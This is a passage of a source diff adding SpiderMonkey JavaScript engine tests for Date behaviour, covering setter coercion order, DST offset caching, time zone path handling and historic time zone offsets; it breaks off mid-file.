+date = new Date(NaN).setFullYear({valueOf:function(){global = 27}});
+assertEq(global, 27);
+
+date = new Date(NaN).setUTCFullYear({valueOf:function(){global = 28}});
+assertEq(global, 28);
+
+
+/* Test the combination of the above two. */
+date = new Date(NaN).setSeconds(NaN, {valueOf:function(){global = 31}});
+assertEq(global, 31);
+
+date = new Date(NaN).setUTCSeconds(NaN, {valueOf:function(){global = 32}});
+assertEq(global, 32);
+
+date = new Date(NaN).setMinutes(NaN, {valueOf:function(){global = 33}});
+assertEq(global, 33);
+
+date = new Date(NaN).setUTCMinutes(NaN, {valueOf:function(){global = 34}});
+assertEq(global, 34);
+
+date = new Date(NaN).setHours(NaN, {valueOf:function(){global = 35}});
+assertEq(global, 35);
+
+date = new Date(NaN).setUTCHours(NaN, {valueOf:function(){global = 36}});
+assertEq(global, 36);
+
+date = new Date(NaN).setMonth(NaN, {valueOf:function(){global = 39}});
+assertEq(global, 39);
+
+date = new Date(NaN).setUTCMonth(NaN, {valueOf:function(){global = 40}});
+assertEq(global, 40);
+
+date = new Date(NaN).setFullYear(NaN, {valueOf:function(){global = 41}});
+assertEq(global, 41);
+
+date = new Date(NaN).setUTCFullYear(NaN, {valueOf:function(){global = 42}});
+assertEq(global, 42);
+
+
+/*Test two methods evaluation*/
+var secondGlobal = 0;
+
+date = new Date(NaN).setFullYear({valueOf:function(){global = 43}}, {valueOf:function(){secondGlobal = 1}});
+assertEq(global, 43);
+assertEq(secondGlobal, 1);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 44}}, {valueOf:function(){secondGlobal = 2}});
+assertEq(global, 44);
+assertEq(secondGlobal, 2);
+
+
+/* Test year methods*/
+date = new Date(0).setYear({valueOf:function(){global = 45}});
+assertEq(global, 45);
+
+date = new Date(NaN).setYear({valueOf:function(){global = 46}});
+assertEq(global, 46);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/shell.js b/js/src/tests/non262/Date/shell.js
new file mode 100644
index 0000000000..9246c1eaaa
--- /dev/null
+++ b/js/src/tests/non262/Date/shell.js
@@ -0,0 +1,311 @@
+/**
+ * Date functions used by tests in Date suite
+ */
+(function(global) {
+ const msPerDay = 1000 * 60 * 60 * 24;
+ const msPerHour = 1000 * 60 * 60;
+ global.msPerHour = msPerHour;
+
+ // Offset of tester's time zone from UTC.
+ const TZ_DIFF = GetRawTimezoneOffset();
+ global.TZ_ADJUST = TZ_DIFF * msPerHour;
+
+ const UTC_01_JAN_1900 = -2208988800000;
+ const UTC_01_JAN_2000 = 946684800000;
+ const UTC_29_FEB_2000 = UTC_01_JAN_2000 + 31 * msPerDay + 28 * msPerDay;
+ const UTC_01_JAN_2005 = UTC_01_JAN_2000 + TimeInYear(2000) + TimeInYear(2001) +
+ TimeInYear(2002) + TimeInYear(2003) + TimeInYear(2004);
+ global.UTC_01_JAN_1900 = UTC_01_JAN_1900;
+ global.UTC_01_JAN_2000 = UTC_01_JAN_2000;
+ global.UTC_29_FEB_2000 = UTC_29_FEB_2000;
+ global.UTC_01_JAN_2005 = UTC_01_JAN_2005;
+
+ /*
+ * Originally, the test suite used a hard-coded value TZ_DIFF = -8.
+ * But that was only valid for testers in the Pacific Standard Time Zone!
+ * We calculate the proper number dynamically for any tester. We just
+ * have to be careful not to use a date subject to Daylight Savings Time...
+ */
+ function GetRawTimezoneOffset() {
+ let t1 = new Date(2000, 1, 1).getTimezoneOffset();
+ let t2 = new Date(2000, 1 + 6, 1).getTimezoneOffset();
+
+ // 1) Time zone without daylight saving time.
+ // 2) Northern hemisphere with daylight saving time.
+ if ((t1 - t2) >= 0)
+ return -t1 / 60;
+
+ // 3) Southern hemisphere with daylight saving time.
+ return -t2 / 60;
+ }
+
+ function DaysInYear(y) {
+ return y % 4 === 0 && (y % 100 !== 0 || y % 400 === 0) ? 366 : 365;
+ }
+
+ function TimeInYear(y) {
+ return DaysInYear(y) * msPerDay;
+ }
+
+ function getDefaultTimeZone() {
+ var tz = getTimeZone();
+ switch (tz) {
+ case "EST":
+ case "EDT":
+ return "EST5EDT";
+
+ case "CST":
+ case "CDT":
+ return "CST6CDT";
+
+ case "MST":
+ case "MDT":
+ return "MST7MDT";
+
+ case "PST":
+ case "PDT":
+ return "PST8PDT";
+
+ default:
+ // Other time zones abbrevations are not supported.
+ return tz;
+ }
+ }
+
+ function getDefaultLocale() {
+ // If the default locale looks like a BCP-47 language tag, return it.
+ var locale = global.getDefaultLocale();
+ if (locale.match(/^[a-z][a-z0-9\-]+$/i))
+ return locale;
+
+ // Otherwise use undefined to reset to the default locale.
+ return undefined;
+ }
+
+ let defaultTimeZone = null;
+ let defaultLocale = null;
+
+ // Run the given test in the requested time zone.
+ function inTimeZone(tzname, fn) {
+ if (defaultTimeZone === null)
+ defaultTimeZone = getDefaultTimeZone();
+
+ setTimeZone(tzname);
+ try {
+ fn();
+ } finally {
+ setTimeZone(defaultTimeZone);
+ }
+ }
+ global.inTimeZone = inTimeZone;
+
+ // Run the given test with the requested locale.
+ function withLocale(locale, fn) {
+ if (defaultLocale === null)
+ defaultLocale = getDefaultLocale();
+
+ setDefaultLocale(locale);
+ try {
+ fn();
+ } finally {
+ setDefaultLocale(defaultLocale);
+ }
+ }
+ global.withLocale = withLocale;
+
+ const Month = {
+ January: 0,
+ February: 1,
+ March: 2,
+ April: 3,
+ May: 4,
+ June: 5,
+ July: 6,
+ August: 7,
+ September: 8,
+ October: 9,
+ November: 10,
+ December: 11,
+ };
+ global.Month = Month;
+
+ const weekdays = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"].join("|");
+ const months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"].join("|");
+ const datePart = String.raw `(?:${weekdays}) (?:${months}) \d{2}`;
+ const timePart = String.raw `\d{4,6} \d{2}:\d{2}:\d{2} GMT[+-]\d{4}`;
+ const dateTimeRE = new RegExp(String.raw `^(${datePart} ${timePart})(?: \((.+)\))?$`);
+
+ function assertDateTime(date, expected, ...alternativeTimeZones) {
+ let actual = date.toString();
+ assertEq(dateTimeRE.test(expected), true, `${expected}`);
+ assertEq(dateTimeRE.test(actual), true, `${actual}`);
+
+ let [, expectedDateTime, expectedTimeZone] = dateTimeRE.exec(expected);
+ let [, actualDateTime, actualTimeZone] = dateTimeRE.exec(actual);
+
+ assertEq(actualDateTime, expectedDateTime);
+
+ // The time zone identifier is optional, so only compare its value if
+ // it's present in |actual| and |expected|.
+ if (expectedTimeZone !== undefined && actualTimeZone !== undefined) {
+ // Test against the alternative time zone identifiers if necessary.
+ if (actualTimeZone !== expectedTimeZone) {
+ for (let alternativeTimeZone of alternativeTimeZones) {
+ if (actualTimeZone === alternativeTimeZone) {
+ expectedTimeZone = alternativeTimeZone;
+ break;
+ }
+ }
+ }
+ assertEq(actualTimeZone, expectedTimeZone);
+ }
+ }
+ global.assertDateTime = assertDateTime;
+})(this);
+
+
+function runDSTOffsetCachingTestsFraction(part, parts)
+{
+ var BUGNUMBER = 563938;
+ var summary = 'Cache DST offsets to improve SunSpider score';
+
+ print(BUGNUMBER + ": " + summary);
+
+ var MAX_UNIX_TIMET = 2145859200; // "2037-12-31T08:00:00.000Z" (PST8PDT based!)
+ var RANGE_EXPANSION_AMOUNT = 30 * 24 * 60 * 60;
+
+ /**
+ * Computes the time zone offset in minutes at the given timestamp.
+ */
+ function tzOffsetFromUnixTimestamp(timestamp)
+ {
+ var d = new Date(NaN);
+ d.setTime(timestamp); // local slot = NaN, UTC slot = timestamp
+ return d.getTimezoneOffset(); // get UTC, calculate local => diff in minutes
+ }
+
+ /**
+ * Clear the DST offset cache, leaving it initialized to include a timestamp
+ * completely unlike the provided one (i.e. one very, very far away in time
+ * from it). Thus an immediately following lookup for the provided timestamp
+ * will cache-miss and compute a clean value.
+ */
+ function clearDSTOffsetCache(undesiredTimestamp)
+ {
+ var opposite = (undesiredTimestamp + MAX_UNIX_TIMET / 2) % MAX_UNIX_TIMET;
+
+ // Generic purge to known, but not necessarily desired, state
+ tzOffsetFromUnixTimestamp(0);
+ tzOffsetFromUnixTimestamp(MAX_UNIX_TIMET);
+
+ // Purge to desired state. Cycle 2x in case opposite or undesiredTimestamp
+ // is close to 0 or MAX_UNIX_TIMET.
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ }
+
+ function computeCanonicalTZOffset(timestamp)
+ {
+ clearDSTOffsetCache(timestamp);
+ return tzOffsetFromUnixTimestamp(timestamp);
+ }
+
+ var TEST_TIMESTAMPS_SECONDS =
+ [
+ // Special-ish timestamps
+ 0,
+ RANGE_EXPANSION_AMOUNT,
+ MAX_UNIX_TIMET,
+ ];
+
+ var ONE_DAY = 24 * 60 * 60;
+ var EIGHTY_THREE_HOURS = 83 * 60 * 60;
+ var NINETY_EIGHT_HOURS = 98 * 60 * 60;
+ function nextIncrement(i)
+ {
+ return i === EIGHTY_THREE_HOURS ? NINETY_EIGHT_HOURS : EIGHTY_THREE_HOURS;
+ }
+
+ // Now add a long sequence of non-special timestamps, from a fixed range, that
+ // overlaps a DST change by "a bit" on each side. 67 days should be enough
+ // displacement that we can occasionally exercise the implementation's
+ // thirty-day expansion and the DST-offset-change logic. Use two different
+ // increments just to be safe and catch something a single increment might not.
+ var DST_CHANGE_DATE = 1268553600; // March 14, 2010
+ for (var t = DST_CHANGE_DATE - 67 * ONE_DAY,
+ i = nextIncrement(NINETY_EIGHT_HOURS),
+ end = DST_CHANGE_DATE + 67 * ONE_DAY;
+ t < end;
+ i = nextIncrement(i), t += i)
+ {
+ TEST_TIMESTAMPS_SECONDS.push(t);
+ }
+
+ var TEST_TIMESTAMPS =
+ TEST_TIMESTAMPS_SECONDS.map(function(v) { return v * 1000; });
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ // Compute the correct time zone offsets for all timestamps to be tested.
+ var CORRECT_TZOFFSETS = TEST_TIMESTAMPS.map(computeCanonicalTZOffset);
+
+ // Intentionally and knowingly invoking every single logic path in the cache
+ // isn't easy for a human to get right (and know he's gotten it right), so
+ // let's do it the easy way: exhaustively try all possible four-date sequences
+ // selecting from our array of possible timestamps.
+
+ var sz = TEST_TIMESTAMPS.length;
+ var start = Math.floor((part - 1) / parts * sz);
+ var end = Math.floor(part / parts * sz);
+
+ print("Exhaustively testing timestamps " +
+ "[" + start + ", " + end + ") of " + sz + "...");
+
+ try
+ {
+ for (var i = start; i < end; i++)
+ {
+ print("Testing timestamp " + i + "...");
+
+ var t1 = TEST_TIMESTAMPS[i];
+ for (var j = 0; j < sz; j++)
+ {
+ var t2 = TEST_TIMESTAMPS[j];
+ for (var k = 0; k < sz; k++)
+ {
+ var t3 = TEST_TIMESTAMPS[k];
+ for (var w = 0; w < sz; w++)
+ {
+ var t4 = TEST_TIMESTAMPS[w];
+
+ clearDSTOffsetCache(t1);
+
+ var tzo1 = tzOffsetFromUnixTimestamp(t1);
+ var tzo2 = tzOffsetFromUnixTimestamp(t2);
+ var tzo3 = tzOffsetFromUnixTimestamp(t3);
+ var tzo4 = tzOffsetFromUnixTimestamp(t4);
+
+ assertEq(tzo1, CORRECT_TZOFFSETS[i]);
+ assertEq(tzo2, CORRECT_TZOFFSETS[j]);
+ assertEq(tzo3, CORRECT_TZOFFSETS[k]);
+ assertEq(tzo4, CORRECT_TZOFFSETS[w]);
+ }
+ }
+ }
+ }
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "Error when testing with timestamps " +
+ i + ", " + j + ", " + k + ", " + w +
+ " (" + t1 + ", " + t2 + ", " + t3 + ", " + t4 + ")!");
+ }
+
+ reportCompare(true, true);
+ print("All tests passed!");
+}
diff --git a/js/src/tests/non262/Date/time-components-negative-zero.js b/js/src/tests/non262/Date/time-components-negative-zero.js
new file mode 100644
index 0000000000..511dcc9fe4
--- /dev/null
+++ b/js/src/tests/non262/Date/time-components-negative-zero.js
@@ -0,0 +1,18 @@
+// Don't return negative zero for get[Hours,Minutes,Seconds,Milliseconds] for dates before 1970.
+
+let date = new Date(1955, 0, 1);
+assertEq(date.getTime() < 0, true);
+assertEq(date.getHours(), +0);
+assertEq(date.getMinutes(), +0);
+assertEq(date.getSeconds(), +0);
+assertEq(date.getMilliseconds(), +0);
+
+let utc = new Date(Date.UTC(1955, 0, 1));
+assertEq(utc.getTime() < 0, true);
+assertEq(utc.getUTCHours(), +0);
+assertEq(utc.getUTCMinutes(), +0);
+assertEq(utc.getUTCSeconds(), +0);
+assertEq(utc.getUTCMilliseconds(), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-2038-pst.js b/js/src/tests/non262/Date/time-zone-2038-pst.js
new file mode 100644
index 0000000000..2abad4dbfd
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-2038-pst.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+// U.S. daylight saving rules changed in 2007, excerpt from tzdata's
+// northamerica file:
+// NAME FROM TO IN ON AT SAVE LETTER/S
+// US 1967 2006 Oct lastSun 2:00 0 S
+// US 1967 1973 Apr lastSun 2:00 1:00 D
+// US 1974 only Jan 6 2:00 1:00 D
+// US 1975 only Feb 23 2:00 1:00 D
+// US 1976 1986 Apr lastSun 2:00 1:00 D
+// US 1987 2006 Apr Sun>=1 2:00 1:00 D
+// US 2007 max Mar Sun>=8 2:00 1:00 D
+// US 2007 max Nov Sun>=1 2:00 0 S
+
+
+// When 2040 is mapped to 1984, the old U.S. rules are applied, i.e. DST isn't
+// yet observed on March 31. If mapped to 2012, the new U.S. rules are applied
+// and DST is already observed, which is the expected behaviour.
+// A similar effect is visible in November.
+// NOTE: This test expects that 2012 and 2040 use the same DST rules. If this
+// ever changes, the test needs to be updated accordingly.
+{
+ let dt1 = new Date(2040, Month.March, 31);
+ assertDateTime(dt1, "Sat Mar 31 2040 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2040, Month.November, 1);
+ assertDateTime(dt2, "Thu Nov 01 2040 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+}
+
+// 2038 is mapped to 2027 instead of 1971.
+{
+ let dt1 = new Date(2038, Month.March, 31);
+ assertDateTime(dt1, "Wed Mar 31 2038 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2038, Month.November, 1);
+ assertDateTime(dt2, "Mon Nov 01 2038 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-etc_localetime.js b/js/src/tests/non262/Date/time-zone-etc_localetime.js
new file mode 100644
index 0000000000..eaf8f7d940
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-etc_localetime.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+function timeZoneName() {
+ var dtf = new Intl.DateTimeFormat("en-US", {timeZoneName: "long"});
+ return dtf.formatToParts().filter(x => x.type === "timeZoneName")[0].value;
+}
+
+// Calling setTimeZone() with an undefined argument clears the TZ environment
+// variable and by that reveal the actual system time zone.
+setTimeZone(undefined);
+var systemTimeZone = getTimeZone();
+var systemTimeZoneName = timeZoneName();
+
+// Set to an unlikely system time zone, so that the next call to setTimeZone()
+// will lead to a time zone change.
+setTimeZone("Antarctica/Troll");
+
+// Now call with the file path ":/etc/localtime" which is special-cased in
+// DateTimeInfo to read the system time zone.
+setTimeZone(":/etc/localtime");
+
+assertEq(getTimeZone(), systemTimeZone);
+assertEq(timeZoneName(), systemTimeZoneName);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-path.js b/js/src/tests/non262/Date/time-zone-path.js
new file mode 100644
index 0000000000..3422022e2b
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-path.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+function timeZoneName() {
+ var dtf = new Intl.DateTimeFormat("en-US", {timeZoneName: "long"});
+ return dtf.formatToParts(Date.UTC(2017, 2, 31, 12, 0, 0)).filter(x => x.type === "timeZoneName")[0].value;
+}
+
+setTimeZone("Europe/Paris");
+assertEq(timeZoneName(), "Central European Summer Time");
+
+setTimeZone(":Europe/Helsinki");
+assertEq(timeZoneName(), "Eastern European Summer Time");
+
+setTimeZone("::Europe/London"); // two colons, invalid
+assertEq(timeZoneName(), "Coordinated Universal Time");
+
+setTimeZone("/this-part-is-ignored/zoneinfo/America/Chicago");
+assertEq(timeZoneName(), "Central Daylight Time");
+
+setTimeZone(":/this-part-is-ignored/zoneinfo/America/Phoenix");
+assertEq(timeZoneName(), "Mountain Standard Time");
+
+setTimeZone("::/this-part-is-ignored/zoneinfo/America/Los_Angeles"); // two colons, invalid
+assertEq(timeZoneName(), "Coordinated Universal Time");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-pst.js b/js/src/tests/non262/Date/time-zone-pst.js
new file mode 100644
index 0000000000..341d3c8236
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-pst.js
@@ -0,0 +1,120 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+const msPerMinute = 60 * 1000;
+
+function shortTimeZone(str) {
+ return str.replace("(Pacific Standard Time)", "(PST)")
+ .replace("(Pacific Daylight Time)", "(PDT)");
+}
+
+function assertEqDate(dt, date, time) {
+ assertEq(shortTimeZone(dt.toString()), `${date} ${time}`);
+ assertEq(dt.toDateString(), date);
+ assertEq(shortTimeZone(dt.toTimeString()), time);
+}
+
+// PDT -> PST, using milliseconds from epoch.
+{
+ let midnight = new Date(2016, Month.November, 6, 0, 0, 0, 0);
+ let midnightUTC = Date.UTC(2016, Month.November, 6, 0, 0, 0, 0);
+
+ // Ensure midnight time is correct.
+ assertEq(midnightUTC - midnight.getTime(), -7 * msPerHour);
+
+ let tests = [
+ { offset: 0 * 60, date: "Sun Nov 06 2016", time: "00:00:00 GMT-0700 (PDT)" },
+ { offset: 0 * 60 + 30, date: "Sun Nov 06 2016", time: "00:30:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 2 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 3 * 60, date: "Sun Nov 06 2016", time: "02:00:00 GMT-0800 (PST)" },
+ { offset: 3 * 60 + 30, date: "Sun Nov 06 2016", time: "02:30:00 GMT-0800 (PST)" },
+ { offset: 4 * 60, date: "Sun Nov 06 2016", time: "03:00:00 GMT-0800 (PST)" },
+ { offset: 4 * 60 + 30, date: "Sun Nov 06 2016", time: "03:30:00 GMT-0800 (PST)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(midnight.getTime() + offset * msPerMinute);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PDT -> PST, using local date-time.
+{
+ let tests = [
+ { offset: 0 * 60, date: "Sun Nov 06 2016", time: "00:00:00 GMT-0700 (PDT)" },
+ { offset: 0 * 60 + 30, date: "Sun Nov 06 2016", time: "00:30:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60, date: "Sun Nov 06 2016", time: "02:00:00 GMT-0800 (PST)" },
+ { offset: 2 * 60 + 30, date: "Sun Nov 06 2016", time: "02:30:00 GMT-0800 (PST)" },
+ { offset: 3 * 60, date: "Sun Nov 06 2016", time: "03:00:00 GMT-0800 (PST)" },
+ { offset: 3 * 60 + 30, date: "Sun Nov 06 2016", time: "03:30:00 GMT-0800 (PST)" },
+ { offset: 4 * 60, date: "Sun Nov 06 2016", time: "04:00:00 GMT-0800 (PST)" },
+ { offset: 4 * 60 + 30, date: "Sun Nov 06 2016", time: "04:30:00 GMT-0800 (PST)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(2016, Month.November, 6, (offset / 60)|0, (offset % 60), 0, 0);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PST -> PDT, using milliseconds from epoch.
+{
+ let midnight = new Date(2016, Month.March, 13, 0, 0, 0, 0);
+ let midnightUTC = Date.UTC(2016, Month.March, 13, 0, 0, 0, 0);
+
+ // Ensure midnight time is correct.
+ assertEq(midnightUTC - midnight.getTime(), -8 * msPerHour);
+
+ let tests = [
+ { offset: 0 * 60, date: "Sun Mar 13 2016", time: "00:00:00 GMT-0800 (PST)" },
+ { offset: 0 * 60 + 30, date: "Sun Mar 13 2016", time: "00:30:00 GMT-0800 (PST)" },
+ { offset: 1 * 60, date: "Sun Mar 13 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 1 * 60 + 30, date: "Sun Mar 13 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 2 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60, date: "Sun Mar 13 2016", time: "04:00:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60 + 30, date: "Sun Mar 13 2016", time: "04:30:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60, date: "Sun Mar 13 2016", time: "05:00:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60 + 30, date: "Sun Mar 13 2016", time: "05:30:00 GMT-0700 (PDT)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(midnight.getTime() + offset * msPerMinute);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PST -> PDT, using local date-time.
+{
+ let tests = [
+ { offset: 0 * 60, date: "Sun Mar 13 2016", time: "00:00:00 GMT-0800 (PST)" },
+ { offset: 0 * 60 + 30, date: "Sun Mar 13 2016", time: "00:30:00 GMT-0800 (PST)" },
+ { offset: 1 * 60, date: "Sun Mar 13 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 1 * 60 + 30, date: "Sun Mar 13 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 2 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60, date: "Sun Mar 13 2016", time: "04:00:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60 + 30, date: "Sun Mar 13 2016", time: "04:30:00 GMT-0700 (PDT)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(2016, Month.March, 13, (offset / 60)|0, (offset % 60), 0, 0);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-historic.js b/js/src/tests/non262/Date/time-zones-historic.js
new file mode 100644
index 0000000000..e7e1d3fa26
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-historic.js
@@ -0,0 +1,510 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// bug 487897
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(1970, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt1, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+ assertEq(dt1.getHours(), 0);
+
+ let dt2 = new Date(1915, Month.January, 1);
+ assertDateTime(dt2, "Fri Jan 01 1915 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt3 = new Date(1970, Month.January, 1);
+ assertDateTime(dt3, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+});
+
+// bug 637244
+inTimeZone("Asia/Novosibirsk", () => {
+ let dt1 = new Date("1942-03-01T00:00:00");
+ assertDateTime(dt1, "Sun Mar 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+ dt1.setMonth(Month.April);
+ assertDateTime(dt1, "Wed Apr 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ let dt2 = new Date(2010, Month.October, 31);
+ assertDateTime(dt2, "Sun Oct 31 2010 00:00:00 GMT+0700 (Novosibirsk Summer Time)");
+ dt2.setMonth(Month.November);
+ assertDateTime(dt2, "Wed Dec 01 2010 00:00:00 GMT+0600 (Novosibirsk Standard Time)");
+
+ let dt3 = new Date(1942, Month.April, 1);
+ assertDateTime(dt3, "Wed Apr 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ function getNumberOfDaysInMonth(year, month) {
+ switch (month) {
+ case Month.January:
+ case Month.March:
+ case Month.May:
+ case Month.July:
+ case Month.August:
+ case Month.October:
+ case Month.December:
+ return 31;
+ case Month.April:
+ case Month.June:
+ case Month.September:
+ case Month.November:
+ return 30;
+ case Month.February:
+ if (year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0))
+ return 29;
+ return 28;
+ }
+ throw new Error(`Illegal month value: ${month}`);
+ }
+
+ for (let year = 1900; year <= 2142; ++year) {
+ for (let month = Month.January; month <= Month.December; ++month) {
+ const numDays = getNumberOfDaysInMonth(year, month);
+ for (let day = 1; day <= numDays; ++day) {
+ let date = new Date(year, month, day);
+ assertEq(date.getMonth(), month);
+ }
+ }
+ }
+
+ let dt4 = new Date(1984, Month.April, 1);
+ assertDateTime(dt4, "Sun Apr 01 1984 01:00:00 GMT+0800 (Novosibirsk Summer Time)");
+
+ let dt5 = new Date(1984, Month.March, 1);
+ assertDateTime(dt5, "Thu Mar 01 1984 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ let dt6 = new Date(1984, Month.April, 1);
+ assertEq(dt6.toUTCString(), "Sat, 31 Mar 1984 17:00:00 GMT");
+ assertEq(dt6.getTime(), 449600400000);
+});
+inTimeZone("Europe/Tallinn", () => {
+ let dt = new Date(2040, Month.March, 31, 20);
+
+ for (let {datetime, date, hours} of [
+ {datetime: "Sat Mar 31 2040 20:00:00", date: 31, hours: 20},
+ {datetime: "Sat Mar 31 2040 22:00:00", date: 31, hours: 22},
+ {datetime: "Sun Apr 01 2040 00:00:00", date: 1, hours: 0},
+ {datetime: "Sun Apr 01 2040 02:00:00", date: 1, hours: 2},
+ {datetime: "Sun Apr 01 2040 04:00:00", date: 1, hours: 4},
+ {datetime: "Sun Apr 01 2040 06:00:00", date: 1, hours: 6},
+ {datetime: "Sun Apr 01 2040 08:00:00", date: 1, hours: 8},
+ ]) {
+ assertDateTime(dt, `${datetime} GMT+0300 (Eastern European Summer Time)`);
+ assertEq(dt.getDate(), date);
+ assertEq(dt.getHours(), hours);
+ assertEq(dt.getTimezoneOffset(), -180);
+
+ dt.setHours(dt.getHours() + 2);
+ }
+});
+inTimeZone("Europe/Riga", () => {
+ let dt1 = new Date(2016, Month.March, 27, 2, 59);
+ assertDateTime(dt1, "Sun Mar 27 2016 02:59:00 GMT+0200 (Eastern European Standard Time)");
+
+ let dt2 = new Date(2016, Month.March, 27, 3, 0);
+ assertDateTime(dt2, "Sun Mar 27 2016 04:00:00 GMT+0300 (Eastern European Summer Time)");
+});
+
+// bug 704486
+inTimeZone("Europe/Zagreb", () => {
+ let dt = new Date(Date.UTC(1942, Month.June, 11, 22, 0, 0, 0));
+ assertDateTime(dt, "Fri Jun 12 1942 00:00:00 GMT+0200 (Central European Summer Time)");
+ assertEq(dt.getFullYear(), 1942);
+ assertEq(dt.getMonth(), Month.June);
+ assertEq(dt.getDate(), 12);
+ assertEq(dt.getHours(), 0);
+ assertEq(dt.getMinutes(), 0);
+ assertEq(dt.getSeconds(), 0);
+ assertEq(dt.getMilliseconds(), 0);
+ assertEq(dt.getTimezoneOffset(), -120);
+});
+
+// bug 935909
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(1954, Month.January, 1);
+ assertDateTime(dt1, "Fri Jan 01 1954 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt2 = new Date(1965, Month.January, 1);
+ assertDateTime(dt2, "Fri Jan 01 1965 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt3 = new Date(1970, Month.January, 1);
